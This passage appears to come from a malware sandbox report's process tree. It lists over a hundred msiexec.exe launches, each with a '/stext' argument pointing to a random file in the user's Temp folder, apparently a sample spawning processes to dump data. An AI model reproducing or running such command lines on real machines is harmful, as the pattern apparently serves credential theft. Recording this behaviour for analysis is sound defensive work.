    3⤵
    PID:6072
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6080
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6088
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6096
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6104
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6112
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6120
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6128
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6136
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5324
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4604
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6128
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6152
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6160
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6168
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6176
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6184
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6192
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6200
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6208
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6216
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6224
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6232
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6240
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6248
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6256
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6264
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6272
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6280
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6288
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6296
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6304
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6312
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6320
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6328
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6336
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6344
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6352
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6360
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6368
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6376
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6384
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6392
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6400
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6408
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6416
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6424
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6432
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6440
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6448
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6456
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6464
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6472
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6480
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6488
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6496
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6504
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6512
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6524
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6532
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6540
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6548
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6556
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6564
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6572
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6580
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6588
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6596
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6604
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6612
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6620
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6628
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6636
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6644
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6652
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6660
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6668
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6676
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6684
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6692
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6700
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6708
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6716
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6724
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6732
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6740
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6748
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6756
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6764
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6772
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6780
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6788
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6796
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6804
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6812
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6820
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6828
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6836
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6844
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6852
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6860
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6868
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6876
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6884
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6892
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6900
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6908
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6916
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6924
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6932
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6940
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6948
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6956
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6964
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6972
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6980
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6988
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6996
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7004
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7012
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7020
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7028
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7036
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7044
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7052
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7060
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7068
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7076
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7084
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7092
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7100
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7108
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7116
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7124
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7132
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7140
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7148
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7156
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7164
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6924
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7176
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7184
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7192
- - C:\Windows\SysWOW64\msiexec.exe
